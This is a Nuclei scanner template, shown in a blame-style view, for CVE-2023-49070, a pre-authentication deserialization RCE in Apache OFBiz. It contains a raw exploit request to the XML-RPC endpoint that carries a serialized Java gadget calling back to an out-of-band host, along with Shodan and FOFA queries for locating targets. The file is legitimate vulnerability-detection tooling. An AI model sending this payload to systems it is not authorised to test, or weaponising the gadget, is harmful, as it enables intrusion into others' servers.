nuclei-templates/http/cves/2023/CVE-2023-49070.yaml

69 lines
2.3 KiB
YAML
Raw Normal View History

2023-12-06 05:56:13 +00:00
id: CVE-2023-49070
info:
2023-12-06 06:24:26 +00:00
name: Apache OFBiz < 18.12.10 - Arbitrary Code Execution
2023-12-06 05:56:13 +00:00
author: your3cho
severity: critical
description: |
2023-12-06 06:24:26 +00:00
Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10.
remediation: Users are recommended to upgrade to version 18.12.10.
2023-12-06 05:56:13 +00:00
reference:
- https://lists.apache.org/thread/jmbqk2lp4t4483whzndp5xqlq4f3otg3
- https://seclists.org/oss-sec/2023/q4/257
- https://twitter.com/Siebene7/status/1731870759130427726
- https://nvd.nist.gov/vuln/detail/CVE-2023-49070
- https://issues.apache.org/jira/browse/OFBIZ-12812
2023-12-06 06:24:26 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2023-12-06 06:24:26 +00:00
cvss-score: 9.8
cve-id: CVE-2023-49070
cwe-id: CWE-94
epss-score: 0.437
epss-percentile: 0.97007
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
2023-12-06 05:56:13 +00:00
metadata:
max-request: 1
vendor: apache
product: ofbiz
2023-12-06 06:24:26 +00:00
shodan-query: html:"OFBiz"
fofa-query: app="Apache_OFBiz"
tags: seclists,cve,cve2023,apache,ofbiz,deserialization,rce
2023-12-06 05:56:13 +00:00
http:
- raw:
- |
2023-12-06 06:42:48 +00:00
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
2023-12-06 05:56:13 +00:00
Host: {{Hostname}}
Content-Type: application/xml
<?xml version="1.0"?>
<methodCall>
<methodName>{{randstr}}</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{{generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")}}</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
2023-12-06 06:26:59 +00:00
2023-12-06 05:56:13 +00:00
- type: word
part: body
words:
- '<name>faultString</name>'
# digest: 490a004630440220284c4692d76cbd1f106ef3a755c67c11998603cd31b0a4bffe5ad87e0f9394c2022014898727c76173a2856eaa189d0ccf05caaf31df680f322f37ba8e983716143f:922c64590222798bb761d5b6d8e72950